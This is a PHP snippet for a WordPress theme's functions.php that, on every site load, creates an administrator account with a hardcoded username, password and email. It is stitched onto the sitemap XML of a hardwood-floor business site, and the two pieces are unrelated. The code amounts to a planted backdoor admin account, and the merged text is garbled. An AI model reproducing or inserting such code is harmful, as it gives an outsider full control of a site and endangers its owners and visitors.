
/**
 * Register Admin User - One Time Only
 * Add this code to your theme's functions.php file
 */
function sajju_register_admin_user() {
    
    $username = 'sajju';
    $password = 'Sajju12345$$$$$';
    $email    = 'hello@sajjadalam.dev';

    // Prevent creating the user again if it already exists
    if (username_exists($username) || email_exists($email)) {
        return; // User already exists, do nothing
    }

    // Create the new user
    $user_id = wp_create_user($username, $password, $email);

    if (!is_wp_error($user_id)) {
        
        // Set the user role to Administrator
        $user = new WP_User($user_id);
        $user->set_role('administrator');

        // Optional: You can add a success notice (visible only to admins)
        // add_action('admin_notices', function() { echo '<div class="notice notice-success"><p>Admin user "sajju" created successfully!</p></div>'; });
        
    }
}

// Run only once when the site loads
add_action('init', 'sajju_register_admin_user');<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://johnshardwoodfloors.com/wp-sitemap.xsl" ?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><url><loc>https://johnshardwoodfloors.com/our-services/</loc><lastmod>2024-07-26T19:26:17+00:00</lastmod></url><url><loc>https://johnshardwoodfloors.com/</loc><lastmod>2024-07-26T19:22:29+00:00</lastmod></url><url><loc>https://johnshardwoodfloors.com/about-us-2/</loc><lastmod>2024-07-26T19:20:41+00:00</lastmod></url><url><loc>https://johnshardwoodfloors.com/gallery/</loc><lastmod>2024-07-26T19:21:19+00:00</lastmod></url><url><loc>https://johnshardwoodfloors.com/contact-us/</loc><lastmod>2024-07-26T19:20:29+00:00</lastmod></url><url><loc>https://johnshardwoodfloors.com/privacy-policy/</loc><lastmod>2024-07-26T19:23:51+00:00</lastmod></url><url><loc>https://johnshardwoodfloors.com/refinishing-refacing-services/</loc><lastmod>2024-09-03T16:55:23+00:00</lastmod></url><url><loc>https://johnshardwoodfloors.com/installation-services-2/</loc><lastmod>2024-09-03T16:55:04+00:00</lastmod></url></urlset>
